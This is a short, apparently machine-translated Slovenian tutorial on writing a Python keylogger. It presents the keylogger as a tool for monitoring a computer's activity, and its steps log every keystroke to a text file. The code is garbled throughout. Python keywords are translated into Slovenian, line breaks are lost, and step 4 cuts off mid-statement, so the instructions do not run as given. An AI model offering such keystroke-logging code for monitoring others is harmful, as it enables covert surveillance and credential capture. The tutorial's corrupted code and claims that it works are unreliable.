Kako ustvariti keylogger z uporabo Pythona
S Pythonom lahko ustvarite program keylogger za zajemanje pritiskov tipk, vnesenih prek računalniške tipkovnice. Pritiski tipk se shranijo v besedilno datoteko, ki beleži vse vnose. Za spremljanje dejavnosti v računalniku lahko uporabite zapisovalnik ključev.
1. korak
Zaženite IDLE, kliknite meni "Datoteka" in izberite "Novo okno", da zaženete novo okno. Pritisnite Ctrl in S, da odprete okno »Shrani kot«. Uporabite "getKeyLogger" kot ime datoteke in kliknite "Shrani."
2. korak
Dodajte naslednjo vrstico kode za uvoz imenskega prostora »Tkinter« in določite pot do datoteke, ki jo želite uporabiti za beleženje:
uvozi Tkinter kot tk myFile =open("C:/temp/keyFile.txt", "w")
3. korak
Kopirajte in prilepite naslednjo kodo, da shranite vsak pritisk tipke v datoteko:
def keypress(event):if event.keysym =='Escape':main.destroy() keyPressed =event.char myFile.write(keyPressed)
4. korak
Dodajte naslednjo kodo, da uporabnik ve, da lahko začne tipkati in da lahko pritisne Esc, da konča program:
main =tk.Tk() print "Pritisnite katero koli tipko (tipka Escape za izhod):" main.bind_all('
5. korak
Kliknite gumb za zagon »Windows« in vnesite »cmd« v polje »iskanje programov in datotek«. Pritisnite Enter, da odprete ukazni poziv. Pojdite na "C:\Python<številka različice>" in vnesite "python getKeyLogger." Pritisnite Enter, da zaženete program. Pojdite na "C:/temp/" in dvokliknite "keyFile.txt", da si ogledate podatke o pritisku tipk.